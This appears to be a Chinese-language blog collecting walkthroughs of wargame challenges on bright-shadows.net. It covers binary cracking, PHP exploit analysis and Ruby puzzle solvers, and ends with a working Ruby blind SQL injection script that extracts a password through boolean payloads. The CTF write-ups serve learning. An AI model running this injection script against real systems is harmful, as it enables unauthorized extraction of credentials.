[+/-] : [教學] CrackIt 16: "Get the number!"

首先, 題目有提示是VB程式, 先用VB-Decompiler掃過

Private Sub Command1_Click() '4058B0

看到這個function裡面的
loc_0040592D: Form1.Unknown_405A60(arg_8, eax, Form1.QueryInterface, eax+03h, "")

用ollydbg追進去


這段很明顯是在判斷數字正確性, 錯誤的話會跳到00405b02

所以就下幾個數字進去測試

發現, 全部數字加起來必須為16h, 且確定的位數為 4__09, 10次內搞定: )...
read more

[+/-] : [教學] Exploit 14: "Analyse this III!"

觀察 sourcecode.txt，由下面兩段code可以發現

//register
fputs($hfile, ";::".$HTTP_POST_VARS['accessid']."::".$md5_passwd."::;\n");

//login
$datastring = $HTTP_POST_VARS['accessid']."::".$md5_pin;
if(strpos($con_file, $datastring)){
 do check...
}

能夠偽裝成別人登入，
不過好像沒有用.....
再觀察別的地方!

// endsess

if((preg_match("/^[a-zA-Z0-9=]+$/i", $HTTP_GET_VARS['sessid'])==true)){
　$session_file = "xxxxx/".$HTTP_GET_VARS['sessid'];
　if(unlink($session_file)==false){
 　do something...
　}

發現sessid在這邊不像register時候有檢查長度！
於是...DONE!

...
read more

[+/-] : [教學] Java-Applet 5: "Defeat Me"

Step1. 下載class檔， decompiler => java 檔
Step2. 觀察 source code，發現兩處 hash function
Step3. Dictionary Attack => Get Answer
Step4. 先下載 TicTacToe.Answer，觀察Binary，會發現是某種檔
Step5. 傳進 message function => Get Answer2
Step6. Answer2 直接當成答案，會發現過不了。剛剛 Step4. 中的觀察剛好可以派上用場。

Done....
read more

[+/-] : [教學] Exploit 17: "RHC 6"

一開始進去，看到有連結Part1、Part2就點一下

發現網址變成http://www.bright-shadows.net/challenges/exploit_rhc6/exploit.php?expid=1

想說猜猜有沒有Part3可以看，於是輸入
http://www.bright-shadows.net/challenges/exploit_rhc6/exploit.php?expid=3

這時出現Warning
Warning: file_get_contents(/www/htdocs/v096861//challenges/exploit_rhc6/exploit/exploit3.tut): failed to open stream: No such file or directory in /www/htdocs/v096861/challenges/exploit_rhc6/libs/funclib.lib on line 12

看到這個，二話不說直接連結
http://www.bright-shadows.net/challenges/exploit_rhc6/libs/funclib.lib

噹噹噹，出現可愛的php程式碼，其中看到一行
if ($expid=='xid8bix') {

這邊也就不跟他客氣，連就對了！
http://www.bright-shadows.net/challenges/exploit_rhc6/exploit.php?expid=xid8bix

噹噹噹x2，admin Login 的控制面板就出現拉
這時候就要輸入密碼，回到剛剛的funclib.lib
發現帳密還有encrypt!
因為一開始有include('crypt04.php');
連過去是一片空白，而 function 內的連結
http://www.bright-shadows.net/challenges/exploit_rhc6/suser/admin.php
連過去也跳回原本的網頁
只好硬著頭皮解密!!

提示: h...
read more

[+/-] : [教學] Programming 8: "The Blacksheep Story Part II"

題目網址

題目大意：

給定一地圖，由起點出發，將地圖上所有星號走過一遍，再到終點。

星號上有兩個數值，分別為撿起來時的cost，與之後每一步增加的cost，啟始cost為1。

要求cost最少的路線。

ex. 如下圖，由START開始，往下走兩格(cost 2)，撿起星號(cost 3)，再往右走兩格(cost 10，因每步cost由1增加成5)，撿起星號(cost 7)，最後往上走兩格到END(cost (1+4+8)*2 = 26)。總共cost為48，是最佳解。



解法：

由於不限時間，直接使用暴力破解。

將圖上的點作順序排列(permutation)，並一一嘗試所花費的cost，取出最小值。

以下程式以 Ruby 執行：

# Author      : mashimaro
# Last Modify : 2008/01/27

$MAP = [
'0000000000000000E0',
'011111111111111111',
'000000000000F01000',
'00010000000010101H',
'000100000000001011',
'0I0100010000101000',
'000100010000001001',
'00010001000101001A',
'000000010001s0010e',
'000100010000111000',
'000100000000010000',
'00010100C000100000',
'000001000001000000',
'000001110010000000',
'000100000100010001',
'0111000010001D1G1B',
'00J101100101000100',
'000100000000000000'
];

$COST = [1, 2, 3, 7, 7, 8, 9, 9, 19, 97];

def calculate_path_len(arrDouble, x, y, val)
if($MAP[x][y].chr != '1' && arrDouble[x][y] > val)
  arrDouble[x][y] = val;
  #up
  arrDouble = calculate_path_len(arrDouble, x - 1, y, val + 1) if(x > 0);
  #down
  arrDouble = calculate_path_len(arrDouble, x + 1, y, val + 1) if(x < 17);
  #left
  arrDouble = calculate_path_len(arrDouble, x, y - 1, val + 1) if(y > 0);
  #right
  arrDouble = calculate_path_len(arrDouble, x, y + 1, val + 1) if(y < 17);
end
#if($MAP[x][y])
#puts $MAP;
arrDouble;
end


pathArray = Array.new(11){Array.new(12)};

i = 0;

for s in ['s', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J']
j = 0;
$MAP.each { |str|
if(str.index(s))
  #puts str + ' ' + str.index(s).to_s;
  arrDouble = Array.new(18){Array.new(18, 99)};
  arrDouble = calculate_path_len(arrDouble, j, str.index(s), 0);

  #output arrDouble
  if(1 == 0)
   x = 0;
   while(x < 18)
    y = 0;
    while(y < 18)
     print arrDouble[x][y].to_s + ' ';
     y = y + 1;
    end
    puts ;
    x = x + 1;
   end
 end

 #calculate pathArray
 m = 0;
 for tmp_s in ['s', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'e']
  n = 0;
  $MAP.each { |tmp_str|
   if(tmp_str.index(tmp_s))
    pathArray[i][m] = arrDouble[n][tmp_str.index(tmp_s)];
    break;
   end
   n = n + 1;
  }
  m = m + 1;
 end
  
  
 break;
end
j = j + 1;
}

i = i + 1;
puts ;
puts ;
end

#output pathArray
if(1 == 1)
x = 0;
while(x < 11)
y = 0;
while(y < 12)
 print pathArray[x][y].to_s + ' ';
 y = y + 1;
end
puts ;
x = x + 1;
end
end

pick_cost = 1+2+5+7+20+15+9+17+35+89;

min_cost = 9999999;

indexArray = [1,2,3,4,5,6,7,8,9,10];

for i1 in indexArray
indexArray.delete(i1);
tmp_cost1 = pick_cost + pathArray[0][i1];
cost1 = 1 + $COST[i1 - 1];
for i2 in indexArray
indexArray.delete(i2);
tmp_cost2 = tmp_cost1 + pathArray[i1][i2] * cost1;
cost2 = cost1 + $COST[i2 - 1];
for i3 in indexArray
 indexArray.delete(i3);
 tmp_cost3 = tmp_cost2 + pathArray[i2][i3] * cost2;
 cost3 = cost2 + $COST[i3 - 1];
 for i4 in indexArray
  indexArray.delete(i4);
  tmp_cost4 = tmp_cost3 + pathArray[i3][i4] * cost3;
  cost4 = cost3 + $COST[i4 - 1];
  for i5 in indexArray
   indexArray.delete(i5);
   tmp_cost5 = tmp_cost4 + pathArray[i4][i5] * cost4;
   cost5 = cost4 + $COST[i5 - 1];
   for i6 in indexArray
    indexArray.delete(i6);
    tmp_cost6 = tmp_cost5 + pathArray[i5][i6] * cost5;
    cost6 = cost5 + $COST[i6 - 1];
    for i7 in indexArray
     break if(min_cost <= tmp_cost6);
     indexArray.delete(i7);
     tmp_cost7 = tmp_cost6 + pathArray[i6][i7] * cost6;
     cost7 = cost6 + $COST[i7 - 1];
     for i8 in indexArray
      break if(min_cost <= tmp_cost7);
      indexArray.delete(i8);
      tmp_cost8 = tmp_cost7 + pathArray[i7][i8] * cost7;
      cost8 = cost7 + $COST[i8 - 1];
      for i9 in indexArray
       #puts 'start->'+i1.to_s+'->'+i2.to_s+'->'+i3.to_s+'->'+i4.to_s+'->'+i5.to_s+'->'+i6.to_s+'->'+i7.to_s+'->'+i8.to_s+'->'+i9.to_s+'->'+indexArray[0].to_s+'->end';
       break if(min_cost <= tmp_cost8);
       indexArray.delete(i9);
       tmp_cost9 = tmp_cost8 + pathArray[i8][i9] * cost8;
       cost9 = cost8 + $COST[i9 - 1];
       tmp_cost10 = tmp_cost9 + pathArray[i9][indexArray[0]] * cost9;
       cost10 = cost9 + $COST[indexArray[0] - 1];
       tmp_cost = tmp_cost10 + pathArray[indexArray[0]][11] * cost10;
       if(min_cost > tmp_cost)
         min_cost = tmp_cost;
         puts 'start->'+i1.to_s+'->'+i2.to_s+'->'+i3.to_s+'->'+i4.to_s+'->'+i5.to_s+'->'+i6.to_s+'->'+i7.to_s+'->'+i8.to_s+'->'+i9.to_s+'->'+indexArray[0].to_s+'->end';
         puts min_cost;
       end
       indexArray.push(i9);
       indexArray.sort!;
      end
      indexArray.push(i8);
      indexArray.sort!;
     end
     indexArray.push(i7);
     indexArray.sort!;
    end
    indexArray.push(i6);
    indexArray.sort!;
   end
   indexArray.push(i5);
   indexArray.sort!;
  end
  indexArray.push(i4);
  indexArray.sort!;
 end
 indexArray.push(i3);
 indexArray.sort!;
end
indexArray.push(i2);
indexArray.sort!;
end
indexArray.push(i1);
indexArray.sort!;
end

puts min_cost;

...
read more

消息來源

[+/-] : [教學] Programming 9: "The Blacksheep Story Part III"

題目網址

題目大意：

求出最常共同序列(Longest Common Sequence)

CATCACGCACGCGCCGTTAAGCAACAGATACCAGATGTCGTTTTGGTTAGTGGATTTAGCAGTATGCCTAACAGGACGCAAAACGGAGGGCTATCCGGCGAGGGTCAGCGGGACCCTATACGACCCTCGGAATGTCTTTGTTTACGCACTAAATGAAGTC
ATCGATACTTGGTGATACGTGCCTACGGCACTTCACGCTAGTCACGACTCCCTCTATGCCCCCACCGTATATATCCAGCCAGTCGTGATTAGAGTAATCAGTGGGCTGTACTGTGATGCATACCACTCCCTCACCACGCACCGAGGGCTTTGACGAGGATTTGATTCGCTATGAGAGTTGCGCCCTTTTGCCAAGATTACCACGCTTACTCACGGCCGGCCGACGATGAAATGCACGCGCGGGGGCTCAGCGAGCTGCAAACAGATGTACTATTAAGGCATGATTAAAGATGTAATATAA

解法：

短的可以用畫的...
長的還是讓程式跑吧XD

以下程式以 Ruby 執行

1.遞迴(很慢...)

# Author      : mashimaro
# Last Modify : 2008/01/02

def lcs(str1,str2)
 if(str1.length == 0 || str2.length == 0)
  ''
 else
  if(str1[-1..-1] == str2[-1..-1])
   lcs(str1[0..-2],str2[0..-2]) + str1[-1..-1]
  else
   a=lcs(str1[0..-2],str2)
   b=lcs(str1,str2[0..-2])
   if(a.length>=b.length)
    a
   else
    b
   end
  end
 end
end

str2='ATCACGAATTGGGCAATAATGCTACTTGAGACGTTTGAGCCCTCCGTCGGGCGCCTGTGGATGCCGGATTGGCATCCCGCAACAGAACGCTCTTAGTCCCCGCCTTCGGAGAATATGCCAAGTCGTAAGAGGCGGACGTGCATCACGCACGCGCCGTTAAGCAACAGATACCAGATGTCGTTTTGGTTAGTGGATTTAGCAGTATGCCTAACAGGACGCAAAACGGAGGGCTATCCGGCGAGGGTCAGCGGGACCCTATACGACCCTCGGAATGTCTTTGTTTACGCACTAAATGAAGTC'
str1='ATCGATACTTGGTGATACGTGCCTACGGCACTTCACGCTAGTCACGACTCCCTCTATGCCCCCACCGTATATATCCAGCCAGTCGTGATTAGAGTAATCAGTGGGCTGTACTGTGATGCATACCACTCCCTCACCACGCACCGAGGGCTTTGACGAGGATTTGATTCGCTATGAGAGTTGCGCCCTTTTGCCAAGATTACCACGCTTACTCACGGCCGGCCGACGATGAAATGCACGCGCGGGGGCTCAGCGAGCTGCAAACAGATGTACTATTAAGGCATGATTAAAGATGTAATATAA'
str1=gets
str1.sub!("\n",'')
str2=gets
str2.sub!("\n",'')
puts lcs(str1, str2)

2.展開

# Author      : mashimaro
# Last Modify : 2008/01/02

str2='ATCACGAATTGGGCAATAATGCTACTTGAGACGTTTGAGCCCTCCGTCGGGCGCCTGTGGATGCCGGATTGGCATCCCGCAACAGAACGCTCTTAGTCCCCGCCTTCGGAGAATATGCCAAGTCGTAAGAGGCGGACGTGCATCACGCACGCGCCGTTAAGCAACAGATACCAGATGTCGTTTTGGTTAGTGGATTTAGCAGTATGCCTAACAGGACGCAAAACGGAGGGCTATCCGGCGAGGGTCAGCGGGACCCTATACGACCCTCGGAATGTCTTTGTTTACGCACTAAATGAAGTC'
str1='ATCGATACTTGGTGATACGTGCCTACGGCACTTCACGCTAGTCACGACTCCCTCTATGCCCCCACCGTATATATCCAGCCAGTCGTGATTAGAGTAATCAGTGGGCTGTACTGTGATGCATACCACTCCCTCACCACGCACCGAGGGCTTTGACGAGGATTTGATTCGCTATGAGAGTTGCGCCCTTTTGCCAAGATTACCACGCTTACTCACGGCCGGCCGACGATGAAATGCACGCGCGGGGGCTCAGCGAGCTGCAAACAGATGTACTATTAAGGCATGATTAAAGATGTAATATAA'
#str1='AAC'
#str2='ACAA'
#str1='CATGGCATG'
#str2='ATCATTCAT'
str1=gets
str1.sub!("\n",'')
str2=gets
str2.sub!("\n",'')

#puts str1,str2;

arr = Array.new(str2.length){Array.new(str1.length, 0)};

#arr = Array.new(2,Array.new(3, 1));#不能用Orz

x = 0;
str2.split(//).each { |s2|

 y = 0;

 #puts "\n"+s2;

 str1.split(//).each { |s1|

  #print s1;

  if(s1 == s2)

   if(x > 0 && y > 0)
    arr[x][y] = arr[x - 1][y - 1] + 1;
   else
    arr[x][y] = 1;
   end

   (x + 1).upto(str2.length-1) { |tmp_x|
    break if(arr[x][y] <= arr[tmp_x][y]);
    arr[tmp_x][y] = arr[x][y];
   }


   (y + 1).upto(str1.length-1) { |tmp_y|
    break if(arr[x][y] <= arr[x][tmp_y]);
    arr[x][tmp_y] = arr[x][y];
   }

   (y + 1).upto(str1.length-1) { |tmp_y|

    break if(x + 1 >= str2.length || arr[x][y] <= arr[x + 1][tmp_y]);

    (x + 1).upto(str2.length-1) { |tmp_x|

     break if(arr[x][y] <= arr[tmp_x][tmp_y]);

     arr[tmp_x][tmp_y] = arr[x][y];
    }
   }

  end

  y = y + 1;
 }
 x = x + 1;
}

  print ' ';
  str1.split(//).each { |c|
   print '  ' + c;
  }
  puts '';

  0.upto(str2.length-1) { |a|
   print str2[a..a];
   0.upto(str1.length-1) { |b|
    print ' ' * (3 - arr[a][b].to_s.length) + arr[a][b].to_s;
   }
   puts '';
  }

x = str2.length - 1;
y = str1.length - 1;

path = '';

puts 'arr[x][y] = ' + arr[x][y].to_s;
while(1)
 while(y > 0 && arr[x][y-1] == arr[x][y])
  y = y - 1;
 end
 while(x > 0 && arr[x-1][y] == arr[x][y])
  x = x - 1;
 end
 path = str1[y..y] + path;

 break if(arr[x][y] == 1);

 x = x - 1;
 y = y - 1;
end

puts path;

...
read more

消息來源

[+/-] : [教學] Programming 6: "just another calculation"

題目網址

時間限制：1.5秒

題目大意：

給定一等式，算出結果。

Ex. The equation is "[x]29=-[1REa]47+[6D4e]41-[1A8903]14+[HDI1]21-[5SKX]53+[4W77]59+[7NS3]48+[5FSE]29-[1aUa]52"


解法：

基底轉換運算。

以下程式以 Ruby 執行

# Author      : mashimaro
# Last Modify : 2008/01/02

require 'net/http'
require 'net/https'

host = 'www.bright-shadows.net'
path = '/challenges/programming/calculate2/tryout.php'
cookie = 'PHPSESSID=************************************'

http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
  'Cookie' => cookie,
#  'Referer' => 'http://profil.wp.pl/login.html',
#  'Content-Type' => 'application/x-www-form-urlencoded'
}

resp, data = http.get(path, headers);

data.sub!('The equation is "', '');
data.sub!('"', '');
data.sub!('=[', '=+[');

puts data;

bases = [];
data.scan(/\][0-9]+/).each { |tmp_base|
 bases.push(tmp_base[1..-1].to_i);
}
signs = ['+'];
data.scan(/[+-]\[/).each { |tmp_sign|
 signs.push(tmp_sign[0..0]);
}
nums = [];
data.scan(/\[[0-9a-zA-Z]+\]/).each { |tmp_num|
 nums.push(tmp_num[1..-2]);
}

#puts bases;
#puts signs;
#puts nums;

chrs = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

i = 1;
sum = 0;

while(i < bases.length)

 num = 0;
 nums[i].split(//).each { |c|
  num = num * bases[i] + (chrs.index(c));
 }

 num = -num if(signs[i] == '-');

 puts signs[i]+'['+nums[i]+']_'+bases[i].to_s+"\t"+num.to_s;

 sum = sum + num;

 i = i + 1;

end

tmp = sum;
(tmp = -tmp) if(tmp < 0);

result = '';

while(tmp > 0)
 x = tmp % bases[0];
 result = chrs[x..x] + result;
 tmp = tmp / bases[0];
end

(result = '-' + result) if(sum < 0);

ret_path = '/challenges/programming/calculate2/solution.php?solution=' + result;

resp, data = http.get(ret_path, headers);

puts data;

...
read more

消息來源

[+/-] : [教學] Programming 13: "Peano Jordan"

題目網址

時間限制：4秒

題目大意：

給定一函數p(x)、區間[x1,x2]，求出以"中位數"為基、每0.01單位分割的面積積分。



解法：

利用 Ruby eval函數的特性，做好字串處理後直接交給它處理。
要注意的是必須加入.to_f讓 Ruby 知道是用float進行運算。

以下程式以 Ruby 執行：

# Author      : mashimaro
# Last Modify : 2008/01/02

require 'digest/md5'
require 'net/http'
require 'net/https'

host = 'www.bright-shadows.net'
path = '/challenges/programming/peanojordan/tryout.php'
cookie = 'PHPSESSID=**********************************'

http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
  'Cookie' => cookie,
#  'Referer' => 'http://profil.wp.pl/login.html',
#  'Content-Type' => 'application/x-www-form-urlencoded'
}

while(true)

 resp, data = http.get(path, headers);

 data.sub!('<pre>', '');
 data.sub!('</pre>', '');

 lines = data.split('<br>');

 exp = lines[0].sub('p(x) = ', '').gsub('/','.to_f/').gsub('^','**');
 a, b = lines[2].scan(/[\-0-9]+/);

 int_1 = a.to_i;
 int_2 = b.to_i;

 puts '';
 puts lines[0];
 puts '';
 puts lines[2];
 puts '';
 puts exp;
 #puts int_1, int_2;
 puts '';

 break if(exp[-1..-1].to_i < 6);

end

sum = 0;
int_1 = int_1 + 0.005;

while(int_1 < int_2)

 sum = sum + eval(exp.gsub('x','('+int_1.to_s+')'));
 puts sum;

 int_1 = int_1 + 0.01;

end

puts (sum * 0.01).round;

digest = Digest::MD5.hexdigest((sum * 0.01).round.to_s);
ret_path = '/challenges/programming/peanojordan/solution.php?solution=' + digest;

resp, data = http.get(ret_path, headers);

puts data;

...
read more

消息來源

[+/-] : [教學] Programming 12: "Looping"

題目網址

時間限制：3秒

題目大意：

有一個5x5方陣，1 <= a ~ y <= 9，已知橫排(5 Rows)、縱列(5 Columns)、對角線(2 Diagonals)之各別總和，求出符合這些條件的 a ~ y。

+-Square------+-Rows----------------+-Cols----------------+-Diagonals----+
|  a b c d e  |  Row 1 = a+b+c+d+e  |  Col 1 = a+f+k+p+u  |  Diagonal 1  |
|  f g h i j  |  Row 2 = f+g+h+i+j  |  Col 2 = b+g+l+q+v  |  = a+g+m+s+y |
|  k l m n o  |  Row 3 = k+l+m+n+o  |  Col 3 = c+h+m+r+w  |              |
|  p q r s t  |  Row 4 = p+q+r+s+t  |  Col 4 = d+i+n+s+x  |  Diagonal 2  |
|  u v w x y  |  Row 5 = u+v+w+x+y  |  Col 5 = e+j+o+t+y  |  = u+q+m+i+e |
+-------------+---------------------+---------------------+--------------+

解法：

以漩渦方式由外而內(a->e->y->u->f->i) iteration 猜測，有時候可能會超過3秒，只要重新執行即可。

以下程式使用 Ruby 執行。

# Author      : mashimaro
# Last Modify : 2008/01/01

require 'net/http'
require 'net/https'

host = 'www.bright-shadows.net'
path = '/challenges/programming/looping/tryout.php'
cookie = 'PHPSESSID=**********************************'

http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
'Cookie' => cookie,
#  'Referer' => 'http://profil.wp.pl/login.html',
#  'Content-Type' => 'application/x-www-form-urlencoded'
}

resp, data = http.get(path, headers);

data.sub!('<pre>', '');
data.sub!('</pre>', '');

arr = [];

data.split('<br />').each { |line|
 if(line[0..2]=='Sum')
  arr.push(line[-2..-1]);
  puts line[-2..-1];
 end
}

puts '';
# puts arr[0];
# puts arr[1];
# puts arr[2];
# puts arr[3];
# puts arr[4];
# puts arr[5];
# puts arr[6];
# puts arr[7];
# puts arr[8];
# puts arr[9];
# puts arr[10];
# puts arr[11];

[1,2,3,4,5,6,7,8,9].each { |a|
 [1,2,3,4,5,6,7,8,9].each { |b|
  [1,2,3,4,5,6,7,8,9].each { |c|
   [1,2,3,4,5,6,7,8,9].each { |d|
    e = arr[0].to_i - a - b - c - d;
    break if(e < 1);
    next  if(e > 9);

    [1,2,3,4,5,6,7,8,9].each { |j|
     [1,2,3,4,5,6,7,8,9].each { |o|
      [1,2,3,4,5,6,7,8,9].each { |t|
       y = arr[9].to_i - e - j - o - t;
       break if(y < 1);
       next  if(y > 9);

        [1,2,3,4,5,6,7,8,9].each { |x|
         [1,2,3,4,5,6,7,8,9].each { |w|
          [1,2,3,4,5,6,7,8,9].each { |v|
           u = arr[4].to_i - v - w - x - y;
           break if(u < 1);
           next  if(u > 9);

            [1,2,3,4,5,6,7,8,9].each { |p|
             [1,2,3,4,5,6,7,8,9].each { |k|
              f = arr[5].to_i - a - k - p - u;
              break if(f < 1);
              next  if(f > 9);

              [1,2,3,4,5,6,7,8,9].each { |g|
               [1,2,3,4,5,6,7,8,9].each { |h|
                i = arr[1].to_i - f - g - h - j;
                break if(i < 1);
                next  if(i > 9);

                [1,2,3,4,5,6,7,8,9].each { |m|
                 q = arr[11].to_i - e - i - m - u;
                 break if(q < 1);
                 next  if(q > 9);
                 r = arr[7].to_i - c - h - m - w;
                 break if(r < 1);
                 next  if(r > 9);
                 s = arr[10].to_i - a - g - m - y;
                 break if(s < 1);
                 next  if(s > 9);
                 next  if(s != arr[3].to_i - p - q - r - t);

                 l = arr[6].to_i - b - g - q - v;
                 next  if(l < 1 || l > 9);
                 n = arr[8].to_i - d - i - s - x;
                 next  if(n < 1 || n > 9);
                 next  if(n != arr[2].to_i - k - l - m - o);

                 arr2=[];
                 puts [].push(a,b,c,d,e).join(' ');
                 puts [].push(f,g,h,i,j).join(' ');
                 puts [].push(k,l,m,n,o).join(' ');
                 puts [].push(p,q,r,s,t).join(' ');
                 puts [].push(u,v,w,x,y).join(' ');
                 puts '';

                 ret_path = [].push('http://www.bright-shadows.net/challenges/programming/looping/solution.php?solution=',a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y).join('');

                 puts ret_path;
                 resp, data = http.get(ret_path, headers);
                 puts data;

                 exit(0);
                }

               }
              }

             }
            }

           }
          }
         }

       }
      }
     }

   }
  }
 }
}

...
read more

消息來源

[+/-] : [Ruby] MySQL Brute Force Attack & [教學]Exploit 21: "SQL-Injection 2"

# Author      : mashimaro
# Last Modify : 2007/12/11

require 'net/http'
require 'net/https'

host = 'www.host_url.com'
path = '/exploits_path/index2.php?login=user'
cookie = 'PHPSESSID=***********************'

http = Net::HTTP.new(host, 80)
#http.use_ssl = true
headers = {
 'Cookie' => cookie,
#  'Referer' => 'http://profil.wp.pl/login.html',
#  'Content-Type' => 'application/x-www-form-urlencoded'
}

cmd = 'password';
appear_str = 'Steven Baker';

len = 0;

if(len > 0)
print 'len = ' + len.to_s;
else
len = 1;
print 'len = 1';
# Step 1. 判斷回傳長度
while(1)
 resp, data = http.get(path + '\'%20and%20length(' + cmd + ')>=' + (len + 1).to_s + '--\'', 

headers)
 break if(!data.index(appear_str));
 print 8.chr * len.to_s.length;
 len = len + 1;
 print len.to_s;
end
end


puts '';
i = 1;
print 'str = ';

# Step 2. 找出字串
while(i <= len)  print 80.chr;  resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=80--\'', 

headers);
if(data.index(appear_str))
 min = 80;
 max = 127;
else
 min = 32;
 max = 79;
end

while(min != max)
 mid = ((min + max + 1) / 2).to_i;
 print 8.chr;
 print mid.chr;
 str = '  [' + min.to_s + ' ' + mid.to_s + ' ' + max.to_s + ']';
 print str;
 resp, data = http.get(path + '\'%20and%20ascii(mid(' + cmd + ',' + i.to_s + ',1))>=' +

mid.to_s + '--\'',  headers);
 if(data.index(appear_str))
   min = mid;
 else
  max = mid - 1;
end
 if(min > max)
  puts 'error: min > max';
  exit(0);
 end
 print (8.chr) * str.length + ' ' * str.length + (8.chr) * str.length;
end

print 8.chr + min.chr;

i = i + 1;
end

puts "\r\n\r\n" + 'sql brute force search done!!';

...
read more